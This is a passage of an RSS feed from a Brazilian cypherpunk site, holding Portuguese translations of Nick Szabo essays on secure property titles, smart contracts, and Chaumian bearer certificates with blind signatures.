&lt;p>O compartilhamento de controle sobre a propriedade, por exemplo, como garantia para um empréstimo, pode ser realizado compartilhando-se a chave privada correspondente à chave pública do proprietário atual. A posse dessa chave privada é necessária para assinar o título; assinaturas de múltiplas entradas também poderiam ser manipuladas. Por isso, pode ser uma boa ideia usar um par de chaves para cada combinação de título e proprietário atual, em vez de pares de chaves representando as identidades dos proprietários. Quando certas condições contratuais são atendidas, como o último pagamento de um empréstimo, isso pode desencadear a geração de um novo par de chaves mantido unicamente pelo proprietário e a transferência do título do par de chaves compartilhado para o novo par de chaves.&lt;/p>
&lt;h2 id="divisibilidade-e-homesteading">Divisibilidade e Homesteading&lt;/h2>
&lt;p>As alocações iniciais podem ocorrer mapeando os direitos de propriedade existentes a partir de sua encarnação institucional atual, ou usando os métodos tradicionais de estacamento e negociação de reconhecimento mútuo de reivindicações. Alguns métodos menos dependentes de um regime legal existente para os direitos serão discutidos nesta seção.&lt;/p>
&lt;p>Para alguns tipos de alocação, como regiões espaciais ou um namespace hierárquico, desejamos poder subdividir e re-mesclar propriedades. A atual proprietária Alice deve ser capaz de transferir várias partes fracionárias de seu título para várias contrapartes individuais e confiáveis. Uma possibilidade é ter mensagens &amp;ldquo;divididas&amp;rdquo; ou &amp;ldquo;mescladas&amp;rdquo;, onde o proprietário atual de uma propriedade pode aposentar as especificações antigas da propriedade e vinculá-las a novas especificações de propriedade, sendo a mensagem inteira assinada pelo proprietário. Em seguida, as novas especificações de propriedade são introduzidas e consideradas ativas e as antigas consideradas desativadas. Seria responsabilidade dos remetentes subseqüentes garantir que as novas especificações não se cruzem e estejam em bom estado.&lt;/p>
&lt;p>Uma forma de abordar o problema do homesteading, ou alocação inicial, chamo de &amp;ldquo;respeito emergente&amp;rdquo;: Alice reivindica todo o universo não alocado. Bob também o afirma, a mesma especificação de propriedade sob uma assinatura digital diferente. Eles podem então escolher subdividir, vender, dar, etc. propriedade. Cada raiz conflitante cresce como uma árvore em uma alocação de todas as propriedades.&lt;/p>
&lt;p>Como resolver árvores com raízes conflitantes? Eventualmente, os bandidos, mecanismos ou acordos informais que impõem direitos de propriedade convergem em uma árvore específica como a alocação padrão e apropriada. As raízes que distribuem mais propriedades a mais pessoas, ou que realmente implementam mecanismos para proteger sua propriedade, ganharão mais respeito pela árvore que começaram.&lt;/p>
&lt;p>Em um namespace, os conflitos podem ser resolvidos dando nomes às raízes conflitantes e controlando esses mapeamentos de subtree de nomes como propriedade.&lt;/p>
&lt;p>Os usurpadores podem roubar propriedade configurando sua própria raiz e aplicando-a, mas não podem excluir as alocações alternativas. A história está sempre presente como evidência de reivindicações.&lt;/p>
&lt;p>Aqueles sem conhecimento em primeira mão de reivindicações conflitantes podem resolvê-los consultando as autoridades e ponderando as opiniões dessas autoridades de acordo com as métricas de confiança, semelhantes às métricas de confiança usadas às vezes para certificados de chave pública.&lt;/p>
&lt;p>Com carimbos de data e hora seguros, a homesteading poderia ser feita com base no respeito de um primeiro a chegar, e não no emergente.&lt;/p>
&lt;h2 id="possessão-adversa">Possessão adversa&lt;/h2>
&lt;p>Para alguns tipos de propriedade, poderíamos querer acrescentar o direito de posse adversa, ou agachamento formalizado. Aqui está uma maneira geral de implementar um tipo de posse adversa:&lt;/p>
&lt;ol>
&lt;li>As transferências devem ser marcadas com segurança.&lt;/li>
&lt;li>As transferências expiram. Para manter a propriedade, o proprietário deve emitir uma nova transferência para si antes da expiração.&lt;/li>
&lt;li>Após a expiração, a propriedade pode ser de quem chegar primeiro ou de quem estiver acima considerando uma base de respeito.&lt;/li>
&lt;/ol>
&lt;p>Este método não tenta definir ou utilizar um estado de &amp;ldquo;desuso&amp;rdquo;. Em vez disso, equaciona a atividade da propriedade com a presença on-line ativa de um proprietário que conhece o título e deseja continuar com a propriedade. O custo de manutenção do título pode ser alto, exigindo uma taxa de registro periódica dos proprietários. No entanto, isso introduz o problema de quem obtém o benefício, pelas regras do clube de propriedade, dos lucros dessa taxa e o problema de que a taxa reduz o lucro de possuir a propriedade, mesmo que seja negativa. Uma possibilidade, em que os custos de proteção da propriedade são altos, é cobrar uma &amp;ldquo;taxa georgiana&amp;rdquo; com base em alguma estimativa imprecisa, mas objetiva do valor potencial da propriedade, e alocar as taxas para a tarefa de proteger a propriedade. Para chegar a esta estimativa, ou para explicar o uso da propriedade em si, envolveria mecanismos ou observação de características específicas para o tipo de propriedade, como vamos tratar a seguir.&lt;/p>
&lt;h2 id="correspondência-do-terreno">Correspondência do Terreno&lt;/h2>
&lt;p>Grande parte dos problemas não abordados acima são de divergência entre as condições reais e direitos de diretório. Por exemplo, posseiros podem legitimamente, aos olhos da maioria dos aplicadores de direitos de propriedade, ocupar e melhorar a terra não utilizada que um registro de título indica ser de propriedade de outros. De Soto&lt;!-- raw HTML omitted -->&lt;a href="#fn2">[2]&lt;/a>
&lt;!-- raw HTML omitted --> descreve posseiros e direitos de propriedade emergentes na fronteira americana e no mundo em desenvolvimento de hoje. Quando nomes são propriedade, um nome pode violar uma marca registrada preexistente, causando a confusão de que tanto o novo namespace quanto o antigo namespace de marca registrada foram projetados para resolver.&lt;/p>
&lt;p>Quando a divergência se torna muito grande, é necessária uma solução para lidar com a irrealidade do registro de títulos. Uma dessas soluções é que os posseiros estabeleçam seu próprio registro rival e, em seguida, comprovem a correspondência superior de seu registro com a realidade real em relação ao controle e uso dos recursos. Outra solução para posseiros é usar o mecanismo de posse adversa descrito acima – mas isso só funciona se o custo de manter o título for suficientemente alto.&lt;/p>
&lt;p>Outra solução é examinar os incentivos do proprietário do título, para ver se eles correspondem a um controle verdadeiro sobre um recurso. Na maioria dos casos, pode haver incentivo para mentir e não podemos usar esse método. Em alguns casos, há incentivo para dizer a verdade e podemos, com ressalvas, confiar nela. Qualquer pressuposto de incentivo nas regras de propriedade deve ser explicado, para que as partes confiantes possam examinar se as condições que criam o incentivo ainda são válidas.&lt;/p>
&lt;p>Outra solução é que as regras do clube de propriedade e o registro incorporem originalmente informações ricas sobre o estado real da propriedade e modifiquem a propriedade e a transferência reais dessa propriedade com base nesse estado, deixando poucas ambiguidades para que possam ser totalmente auditadas por sócios do clube e terceiros. É mais vantajoso quando esta auditoria pode permanecer automatizada, conforme previsto acima. No entanto, a introdução como critério de regra de estados transitórios não registrados (ou não registrados de forma segura) comuns em propriedades físicas faz com que a auditoria, e portanto os títulos, se tornem menos seguros e mais caros.&lt;/p>
&lt;h2 id="agradecimentos">Agradecimentos&lt;/h2>
&lt;p>Meus agradecimentos a Gregory Burch, J.D., Eileen O&amp;rsquo;Connor, J.D., Melora Svoboda, e muitos outros por seus comentários úteis.&lt;/p>
&lt;h2 id="referências">Referências&lt;/h2>
&lt;ol>
&lt;li>
&lt;p>Kelly McCollum, &lt;a href="http://chronicle.com/free/99/06/99061701t.html" target="_blank" rel="noopener noreferrer">&amp;ldquo;Using Phone Books, Scholars Build a Data Base for Resettling Kosovars&amp;rdquo;&lt;/a>
&lt;a href="#ref1">↩&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Hernando de Soto, &lt;em>The Mystery of Capital&lt;/em> &lt;a href="#ref2">↩&lt;/a>
&lt;a href="#ref2-2">↩&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="http://hobbyfarm.com/buysell11.html" target="_blank" rel="noopener noreferrer">Reasons to buy title insurance&lt;/a>
&lt;a href="#ref3">↩&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Bryce &amp;ldquo;Zooko&amp;rdquo; Wilcox, &lt;a href="https://web.archive.org/web/20120204172516/http://zooko.com/distnames.html" target="_blank" rel="noopener noreferrer">Names: Decentralized, Secure, Human-Meaningful: Choose Two&lt;/a>
&lt;a href="#ref4">↩&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Property on the Internet may take all kinds of new forms. For analysis one recently emerged form, the ownership of open source software projects, see &lt;a href="http://firstmonday.dk/issues/issue3_10/raymond/index.html" target="_blank" rel="noopener noreferrer">Eric Raymond, &amp;ldquo;Homesteading the Noosphere&amp;rdquo;.&lt;/a>
&lt;a href="#ref5">↩&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Malkhi &amp;amp; Reiter, &lt;a href="http://www.research.att.com/~dalia/" target="_blank" rel="noopener noreferrer">&amp;ldquo;Byzantine Quorum Systems&amp;rdquo;&lt;/a>
, STOC97 &lt;a href="#ref6-1">↩&lt;/a>
&lt;a href="#ref6-2">↩&lt;/a>
&lt;/p>
&lt;/li>
&lt;/ol>
&lt;hr>
&lt;p>Por favor, envie seus comentários para nszabo (at) law (dot) gwu (dot) edu&lt;/p>
&lt;p>Copyright © 1998,1999,2002,2005 by Nick Szabo&lt;br>
Permissão para redistribuir sem alteração por este concedida&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://www.fon.hum.uva.nl/rob/Courses/InformationInSpeech/CDROM/Literature/LOTwinterschool2006/szabo.best.vwh.net/securetitle.html" target="_blank" rel="noopener noreferrer">Secure Property Titles with Owner Authority - Nick Szabo &lt;/a>
&lt;/p></content:encoded></item><item><title>A ideia de Contratos Inteligentes</title><link>https://cypherpunks.com.br/documentos/a-ideia-de-contratos-inteligentes/</link><pubDate>Wed, 01 Jan 1997 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/a-ideia-de-contratos-inteligentes/</guid><description>Contratos inteligentes vão além da máquinas de venda, propõe a incorporação de contratos em todas as formas de propriedades valiosas e controladas por meios digitais.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Ozy
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h2 id="nick-szabo">Nick Szabo&lt;/h2>
&lt;p>&lt;/p>
&lt;p>Qual o significado e o propósito de “segurança”? Como ela se relaciona com os relacionamentos que temos? Eu argumento que a formalização de nossos relacionamentos—especialmente contratos—fornece o modelo para a segurança ideal.&lt;/p>
&lt;p>Muitos tipos de cláusulas contratuais (tais como garantia, colaboração, delineação de direitos de propriedade, etc.) podem ser embutidas no hardware e software que convivemos, de uma forma a tornar a quebra de contrato cara (e se desejado, as vezes de forma proibitiva) para o infrator. Um exemplo regular da vida real, que podemos considerar como o ancestral primitivo de contratos inteligentes, é a máquina de venda automática. Dentro de uma quantidade limitada de perda potencial (a quantidade na caixa deve ser menor que o custo de violar o mecanismo), a máquina recebe moedas, e através de um mecanismo simples, o qual se utiliza de problema calouro de ciência da computação em um design mecênico limitado, dispensar mudanças e fornecer o produto de acordo com o preço exibido. A máquina de venda automática é um contrato com o portador: qualquer um com moedas pode participar de uma troca com o fornecedor. O cofre e outros mecanismos de segurança protegem as moedas armazenadas e os produtos de infratores, suficientemente para permitir a implantação lucrativa de máquinas de venda automática em uma ampla variedade de áreas.&lt;/p>
&lt;p>Contratos inteligentes vão além da máquinas de venda, propõe a incorporação de contratos em todas as formas de propriedades valiosas e controladas por meios digitais.&lt;/p>
&lt;p>Como outro exemplo, considere a hipótese de um sistema de segurança de automóveis. A estratégia de design do contrato inteligente sugere que nós refinamos protocolos de segurança suscetivamente para englobar em propriedades os termos que se aplicam a ela. Esses protocolos iriam dar a chave criptográfica para controlar a propriedade à pessoa que legitimamente é dona daquela propriedade, baseado nos termos do contrato. Em uma implementação direta, o carro seria inoperável a menos que o protocolo de resposta ao desafio correto seja concluído pelo seu legítimo proprietário, assim impedindo o roubo.&lt;/p>
&lt;p>Se o carro está sendo usado como garantia, implementações de segurança de forma tradicional iriam dar dor de cabeça para o credor – o cobrador não teria como confiscar a dívida do produto. Para corrigir esse problema, podemos criar um simples protocolo inteligente de garantia: se o dono não paga, o contrato inteligente chama o protocolo de garantia, que da o controle da chave do carro ao banco. Esse protocolo deve ser mais barato e mais efetivo que um cobrador. A possível reificação do produto removeria a garantia quando o aluguel for quitado, além de justificar as dificuldades e exceções operacionais. Por exemplo, seria errado revogar a operação do carro enquanto o mesmo estiver numa estrada.&lt;/p>
&lt;p>Nesse processo de refinamento constante, nós fomos de um sistema de segurança simples para um contrato refinado:&lt;/p>
&lt;ul>
&lt;li>(1) Uma chave para seletivamente deixar o dono entrar e excluir terceiros;&lt;/li>
&lt;li>(2) Uma porta dos fundos para permitir a entrada do credor;&lt;/li>
&lt;li>(3a) Acesso ao credor liberado apenas com o não pagamento durante um certo período de tempo; e&lt;/li>
&lt;li>(3b) Um pagamento eletrônico final fecha completamente a porta dos fundos.&lt;/li>
&lt;/ul>
&lt;p>Sistemas de segurança antigos terão comportamento diferente para contratos diferentes. Continuando com nosso exemplo, se o contrato do nosso automóvel for por locação, o pagamento final irá desligar o acesso a locação; em compras com crédito, iria desligar o acesso do credor. Um sistema de segurança, por ser constantemente redesenhado, alcança cada vez mais a lógica de um contrato que rege os direitos e obrigações de cada objeto, informação, ou cálculo a ser protegido. Termos contratuais qualitativamente diferentes, assim como diferenças tecnológicas entre propriedades, dão força a necessidade de protocolos diferentes.&lt;/p>
&lt;p>(Derivado de &lt;a href="https://cypherpunks.com.br/formalizing-securing-relationships/">&amp;ldquo;Formalizando e protegendo relações em redes públicas&amp;rdquo;&lt;/a>
, por Nick Szabo) Um &lt;a href="https://cypherpunks.com.br/contract-language/">artigo relacionado discute uma linguagem&lt;/a>
formal para analisar contratos e especificar contratos inteligentes.&lt;/p>
&lt;p>Por favor, envie seus comentários para nszabo (at) law (dot) gwu (dot) edu Copyright © 1997 por Nick Szabo Permissão para redistribuir sem nenhuma alteração por este concedida.&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://nakamotoinstitute.org/the-idea-of-smart-contracts/" target="_blank" rel="noopener noreferrer">https://nakamotoinstitute.org/the-idea-of-smart-contracts/&lt;/a>
&lt;/p></content:encoded></item><item><title>Contratos com Titular</title><link>https://cypherpunks.com.br/documentos/contratos-com-titular/</link><pubDate>Wed, 01 Jan 1997 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/contratos-com-titular/</guid><description>A emissão e a transferência limpa de referências a um objeto distribuído conservam o uso desse objeto. Esse objeto se torna "escasso" em termos econômicos, assim como o uso de objetos físicos é finito. Objetos conservados fornecem a base para uma economia de software que mais se assemelha à economia de objetos físicos escassos.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Matheus Bach
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h2 id="nick-szabo">Nick Szabo&lt;/h2>
&lt;p>Originalmente publicado em 1997&lt;/p>
&lt;p>&lt;/p>
&lt;h2 id="certificados-de-titular">Certificados de Titular&lt;/h2>
&lt;p>&amp;ldquo;Certificado digital de titular&amp;rdquo; é um termo amplamente desenvolvido por este autor&lt;!-- raw HTML omitted -->&lt;a href="#fn1">[1]&lt;/a>
&lt;!-- raw HTML omitted --> incorporando pelo menos duas tecnologias emergentes: dinheiro digital e capacidades distribuídas (referências seguras de objetos distribuídos). Primeiro descreverei o protocolo chaumiano e seu recurso inovador de privacidade. Em seguida, discutirei como essas ideias são mapeadas para o mundo das capacidades na seção sobre direitos genéricos versus direitos específicos. Alterei a terminologia de dinheiro digital para certificado de titular ou token, de casa da moeda para emissor ou agente de transferência, e assim por diante, para refletir a capacidade dos protocolos de Chaum de generalizar. Os certificados de titular de Chaum implementam direitos padronizados transferíveis independentemente da identidade do titular. Cada tipo de contrato (por exemplo, cada denominação de &amp;ldquo;moeda&amp;rdquo; em dinheiro digital) corresponde a uma assinatura digital, assim como cada emissão de títulos da Reserva Federal ou certificados de ações corresponde a uma determinada conta.&lt;/p>
&lt;p>No protocolo chaumiano mais direto, o emissor e o agente de transferência (a mesma entidade, para os nossos propósitos, embora possam ser facilmente separados) criam um número de série (na verdade, um grande número aleatório, ao invés de uma sequência), e o anexam a uma lista de certificados emitidos. O agente de transferência libera uma transferência (ou seja, resgata o certificado) verificando a assinatura para identificar a classe de contrato de titular e verificar se ela foi feita, em seguida, examinando a lista emitida desse contrato para garantir que o número de série esteja lá e então, remover o número de série. Alternativamente, o emissor pode deixar a emissão formar o número de série e, quando estiver removido, verificar a assinatura e colocar o número na lista de certificados removidos. A assinatura fornece a garantia de que o certificado é de fato o tipo específico de contrato com o titular, enquanto o número de série assegura que a mesma instância desse contrato não seja compensada ou resgatada mais de uma vez. Nessas versões simples, o agente de transferência pode vincular o cessionário ao receptor para todas as transferências. Para implementar as características de privacidade de moedas e certificados de titular físico, precisamos adicionar recursos de desvinculação.&lt;/p>
&lt;h2 id="assinaturas-ofuscadas-blind-signatures">Assinaturas Ofuscadas (&amp;ldquo;Blind Signatures&amp;rdquo;)&lt;/h2>
&lt;p>Conheça a maior equação simples desde e=mc&lt;!-- raw HTML omitted -->2&lt;!-- raw HTML omitted -->:&lt;/p>
&lt;!-- raw HTML omitted -->
&lt;p>&lt;code>S&lt;/code> é uma assinatura digital. &lt;code>f&lt;/code> é a função de ofuscamento, e &lt;code>g&lt;/code> uma função de desofuscamento. As funções de ofuscamento são geralmente baseadas em um número aleatório secreto chamado &amp;ldquo;fator de ofuscação&amp;rdquo;. &lt;code>m&lt;/code> é outro número aleatório, um identificador único que pode, por exemplo, referir-se a uma instância de algum objeto.&lt;/p>
&lt;p>A ideia é muito inteligente, mas muito simples. Pode ser contra-intuitivo porque a mais simples metáfora do mundo físico deste e-commerce primitivo altamente útil parece um tanto quanto inútil: Alice pode fazer com que Carol assine um cheque em branco! Veja como:&lt;/p>
&lt;ol>
&lt;li>Alice gera &lt;code>m&lt;/code> e o ofusca. O &amp;ldquo;ofuscar&amp;rdquo; é apenas uma criptografia one-time-pad para si mesmo, &lt;code>f(m)&lt;/code>. Ela envia isso para Carol. É como pegar um pedaço de papel e selá-lo dentro de um envelope que Carol não pode abrir ou ver.&lt;/li>
&lt;li>Carol então assina: &lt;code>Sf(m)&lt;/code>, e manda de volta para Alice. É como se Carol estivesse assinando o lado de fora do envelope.&lt;/li>
&lt;li>Alice desvenda: &lt;code>gSf(m) = S(m)&lt;/code>. Carol também assinou o papel que Alice colocou dentro do envelope!&lt;/li>
&lt;/ol>
&lt;p>O gênio por trás dessa descoberta: o guru da criptografia, David Chaum. O brilhantismo está no passo 3: Chaum descobriu que algumas assinaturas têm a propriedade de serem &amp;ldquo;comutativas&amp;rdquo; com as funções de ofuscamento: Alice pode desofuscar na ordem inversa à qual a ofuscação e a assinatura foram aplicadas, deixando apenas a assinatura de n. É como se Alice colocasse um pedaço de papel carbono dentro do envelope!&lt;/p>
&lt;p>Em particular para assinaturas RSA, com chave pública (pq, e) e chave privada d, as funções de assinatura ofuscada são o seguinte módulo pq:&lt;/p>
&lt;!-- raw HTML omitted -->
&lt;!-- raw HTML omitted -->
&lt;p>Podemos verificar se a propriedade de assinatura ofuscada contém: &lt;code>gSf(m) = (m(k&amp;lt;sup&amp;gt;e&amp;lt;/sup&amp;gt;))&amp;lt;sup&amp;gt;d&amp;lt;/sup&amp;gt; * k&amp;lt;sup&amp;gt;-1&amp;lt;/sup&amp;gt; = m&amp;lt;sup&amp;gt;d&amp;lt;/sup&amp;gt; * k * k&amp;lt;sup&amp;gt;-1&amp;lt;/sup&amp;gt; = m&amp;lt;sup&amp;gt;d&amp;lt;/sup&amp;gt;&lt;/code>, qual é a assinatura RSA válida da chave privada d em m.&lt;/p>
&lt;h2 id="transferências-desvinculadas">Transferências Desvinculadas&lt;/h2>
&lt;p>Se pode distinguir entre um contador ou um terceiro rastreando o nome verdadeiro de uma pessoa, por falta ou deficiência no mix de comunicações, ou com um terceiro vinculando duas entidades (pseudônimo usando mais de uma vez o mesmo endereço, números de contas ou nomes verdadeiros), como estando envolvido na mesma transação. Por desvinculadas aqui queremos dizer o último. A meta em que nomes verdadeiros são usados (isso ocorre, por exemplo, ao usar contas de nome verdadeiro ou não usar boas misturas de comunicação), é impedir a vinculação de terceiros de duas pessoas que fazem negócios entre si. Onde pseudônimo são usados, o objetivo é minimizar a liberação de informações de tráfego, evitar o acúmulo indesejado de padrões de comportamento únicos, que poderiam ser usados para vincular pseudônimo (incluindo seus nomes verdadeiros), ou poderiam aumentar outros meios de violação de privacidade. Ofuscamento ajuda especialmente quando os detentores de direitos desejam manter contas públicas ou de terceiros expressas em direitos genéricos. Nesse caso, um mix de comunicação nem em princípio nos dá o que o disfarce faz.&lt;/p>
&lt;p>Além de proteger contra o agente de transferência, os protocolos de transferidor, transferência e duplo ofuscamento chaumiano protegem contra a conivência de uma parte com um agente de transferência para identificar parte da conta ou pseudônimo.&lt;/p>
&lt;p>A desvinculação pode ser fornecida pela combinação de uma lista de certificados limpos com assinaturas ofuscadas e um delay na mistura. Exemplos suficientes de um contrato padronizado são emitidos durante um período de tempo para criar um mix. Entre a emissão e a liberação de um certificado, muitos outros certificados com a mesma assinatura serão apagados, tornando altamente improvável que uma compensação específica possa ser vinculada a uma determinada entrega por meio da assinatura. Existe uma troca entre o efeito de mistura e a exposição ao roubo de um &amp;ldquo;pacote&amp;rdquo; por um problema específico: quanto menor a entrega, menor a exposição, mas maior a conectividade; uma entrega maior tem maior exposição e maior confidencialidade.&lt;/p>
&lt;p>As assinaturas ofuscadas podem ser usadas para tornar as transferências de certificado não vinculáveis através do número de série. A privacidade do agente de transferência pode tomar a forma de transferência, desvinculação, não-vinculação do transferidor ou &amp;ldquo;duplo disfarce&amp;rdquo;, em que tanto o cedente quanto o cessionário não podem ser vinculados pelo agente de transferência ou colusão de um agente de transferência e contraparte.&lt;/p>
&lt;p>Um mix de comunicação com uso único de endereços, mais a previsão de qualquer ganho de reputação de manter contas, em teoria também nos compra de desvinculação, mas um mix de comunicações é fraco e muito caro.&lt;/p>
&lt;p>Os certificados de titular vêm em uma versão &amp;ldquo;on-line&amp;rdquo;, limpa durante cada transferência e, portanto, verificável e observável, e uma versão &amp;ldquo;off-line&amp;rdquo;, que pode ser transferida sem ser compensada, mas só é verificável quando finalmente liberada, revelando qualquer detentor intermediário que transferiu o objeto várias vezes (uma quebra de contrato).&lt;/p>
&lt;p>Essa desvinculação é muitas vezes chamada de &amp;ldquo;anonimato&amp;rdquo;, mas a questão de se as contas são emitidas para nomes reais ou pseudônimos e se o transferidor e o cessionário se identificam é ortogonal à não-vinculação pelo agente de transferência no modelo on-line. No modelo off-line, a identificação da conta (ou pelo menos um pseudônimo altamente confiável e/ou seguro) é necessária: passar um certificado off-line pela segunda vez revela essa identidade. Além disso, os canais de comunicação podem permitir que a transação anterior vincule o transferidor e o cessionário, a menos que eles tomem a precaução de usar um retransmissor anônimo. A compensação on-line faz da falta de identificação uma opção razoável para muitos tipos de transações, embora as situações comuns de crédito e garantia geralmente sejam beneficiadas ou até mesmo exijam identificação.&lt;/p>
&lt;p>Ao confrontar uma tentativa de compensação de um número de série vazio, enfrentamos um dilema de erro ou fraude semelhante ao que encontramos acima na contabilidade de dupla entrada. O protocolo ecash™ do DigiCash atualmente aproveita propositalmente para se recuperar de uma falha de rede. Quando os certificados são perdidos pela rede, não é claro para o transmissor se eles foram recebidos ou compensados pelo cessionário ou não. A segunda transferência diretamente com o agente de transferência resolve a ambigüidade. Isso só funciona com o protocolo online. A questão de distinguir erro de fraude é urgente no protocolo off-line, mas ainda não há uma solução altamente satisfatória. Este problema é muitas vezes intratável devido à subjetividade da intenção.&lt;/p>
&lt;p>Com a comunicação anônima bidirecional ideal entre as chaves de uso único e a compensação totalmente sem conta, a não-conectividade por meio de assinaturas ofuscadas se torna redundante. Este caso ideal ainda não foi abordado de perto com a tecnologia implementada e envolve necessariamente longos atrasos nas comunicações, que muitas vezes são intoleráveis. Misturas de comunicação realmente imperfeitas e tokens ofuscados menos caros se complementam.&lt;/p>
&lt;h2 id="objetos-conservados">Objetos Conservados&lt;/h2>
&lt;p>A emissão e a transferência limpa de referências a um objeto distribuído conservam o uso desse objeto. Esse objeto se torna &amp;ldquo;escasso&amp;rdquo; em termos econômicos, assim como o uso de objetos físicos é finito. Objetos conservados fornecem a base para uma economia de software que mais se assemelha à economia de objetos físicos escassos. Objetos conservados podem ser usados para excluir seletivamente não apenas recursos físicos escassos (como tempo de CPU, largura de banda de rede e tempo de resposta, etc.), mas também frutos de trabalho intelectual – contanto que alguém esteja disposto a pagar o preço para interagir com essa informação pela rede em vez de localmente (cf. gerenciamento de direitos de conteúdo). A conservação imuniza objetos e os recursos que eles encapsulam para ataques de negação de serviço. Os protocolos de certificado de portador podem ser usados para transferir referências para uma instância específica ou conjunto de instâncias de um objeto, assim como podem ser usadas para transferir outros tipos de direitos padronizados.&lt;/p>
&lt;p>Para implementar uma transação completa de pagamento por serviços, muitas vezes precisamos de mais do que apenas o protocolo de dinheiro digital; precisamos de um protocolo que garanta que o serviço será prestado se o pagamento for feito e vice-versa. Os sistemas comerciais atuais usam uma ampla variedade de técnicas para realizar isso, como correspondência certificada, troca cara a cara, confiança em histórico de crédito e agências de cobrança para conceder crédito, etc. Eu discuto tais questões em meu artigo sobre &lt;a href="http://nakamotoinstitute.org/formalizing-securing-relationships.html" target="_blank" rel="noopener noreferrer">Contratos Inteligentes&lt;/a>
.&lt;/p>
&lt;h4 id="credenciais">Credenciais&lt;/h4>
&lt;p>Uma credencial é uma reivindicação feita por uma parte sobre outra. Uma credencial positiva é uma que a segunda parte prefere revelar, como um grau de uma escola de prestígio, enquanto essa parte prefere não revelar uma credencial negativa, como uma classificação de crédito ruim.&lt;/p>
&lt;p>Uma credencial chaumiana é um protocolo criptográfico para provar que o pseudônimo de alguém (por exemplo, o número de identificação usado em um sistema de saúde) possui credenciais emitidas para outros pseudônimos, sem revelar ligações entre esses pseudônimos ou entre pseudônimo e nome verdadeiro. Baseia-se em torno da credencial de nome verdadeiro, usada para provar, sem revelar, a ligação entre pseudônimos e para evitar a transferência de pseudônimos entre as partes.&lt;/p>
&lt;h4 id="direitos-genéricos-vs-direitos-específicos">Direitos Genéricos vs. Direitos Específicos&lt;/h4>
&lt;p>Discutiremos o mapeamento entre os certificados chaumianos e os recursos distribuídos, conforme implementado, por exemplo em &lt;a href="http://www.erights.org/" target="_blank" rel="noopener noreferrer">E-Rights&lt;/a>
onde introduzo uma terminologia diferente, parcialmente sobreposta: genérico vs. específico, exclusivo versus não exclusivo, agente de transferência x provedor, token versus hash.&lt;/p>
&lt;p>Os direitos podem ser genéricos ou específicos. Os direitos genéricos correspondem a uma classe de objetos, direitos específicos a uma instância. Portanto, um direito específico é implementado com um hash, um grande número aleatório. Os números assinados correspondem aos direitos genéricos que chamarei de &amp;ldquo;tokens&amp;rdquo;.&lt;/p>
&lt;p>Os direitos também podem ser exclusivos ou não-exclusivos. Qualquer objeto que deve ser conservado ou finalmente alocado para um usuário específico é &amp;ldquo;exclusivo&amp;rdquo;.&lt;/p>
&lt;p>Exemplo simples: o direito a um bloqueio exclusivo em 1 MB de memória é genérico e exclusivo. O direito a um bloqueio exclusivo no espaço de endereço específico 100-101 é específico e exclusivo. O direito a cotação de duas dúzias de ações particulares às 12h22min de hoje é específico e não exclusivo.&lt;/p>
&lt;p>A principal motivação para essas distinções são mecanismos diferentes de transferência indestrutível desses direitos, descritos a seguir.&lt;/p>
&lt;p>Por simplicidade, os direitos genéricos são todos &amp;ldquo;de uso único&amp;rdquo;: o ciclo de vida de um token consiste em emissão, seguido por uma série de transferências, seguidas de consumo. Ciclos de vida mais sofisticados, como transferência e consumo alternados, provavelmente são possíveis com algum protocolo extra.&lt;/p>
&lt;p>Com um mix de comunicações perfeito, incluindo endereços de retorno obedecendo ao uso único e sem criação de reputação, não precisaríamos de tokens ofuscados. No entanto, os mixes de comunicações são caros e queremos a opção de ter certos registros públicos para construir reputações, mas fazer certas transferências de direitos em particular. Por esses motivos, devemos permitir que os clientes ofusquem transferências de token, além de fornecer um mix de comunicações.&lt;/p>
&lt;p>Para transferência barata, não-vinculável e verificável de direitos genéricos exclusivos, usando tokens disfarçados, deve haver uma quantidade significativa de direitos genéricos intercambiáveis. Tais direitos combinados com direitos específicos não-excludentes também podem ser transferidos de maneira barata, uma vez que a compensação on-line não é necessária para o segundo. A transferência não vinculável e verificável de direitos específicos exclusivos parece exigir a compensação on-line através de um mix de comunicações caro.&lt;/p>
&lt;p>Dois tipos de TTPs: um agente de transferência (AT) e um provedor. O AT funciona como um Banco Central do dinheiro digital mesmo sem possuir conta, limpando a transferência de tokens para direitos genéricos. O dinheiro digital é um caso especial: o dinheiro é o mais genérico dos direitos.&lt;/p>
&lt;p>O Provedor é responsável por atualmente manter o objeto, que pode conter um estado exclusivo. O Provedor emite um hash, ou melhor, uma descrição assinada do direito específico e seu hash. Essa assinatura permite a verificação off-line do direito não excludente em que o Provedor é confiável. O AT emite um token para os direitos genéricos correspondentes.&lt;/p>
&lt;p>Chaum também desenvolveu outros meios para lidar com um estado único&lt;!-- raw HTML omitted -->&lt;a href="#fn2">[2]&lt;/a>
&lt;!-- raw HTML omitted -->.&lt;/p>
&lt;p>Estou supondo que o AT e o Provedor tenham usado assinaturas confiáveis. A confiança ou reputação necessária para garantir a correção da transferência entre Provedor, AT e usuários é deixada em parte para análise posterior. Os dois principais objetivos aqui são garantir que os usuários possam verificar seus direitos (incluindo a exclusividade dos transferentes quando prometidos) e manter total privacidade dos ATs e Provedores. Algumas outras suposições de confiança provavelmente são feitas aqui e precisam ser explicadas e analisadas.&lt;/p>
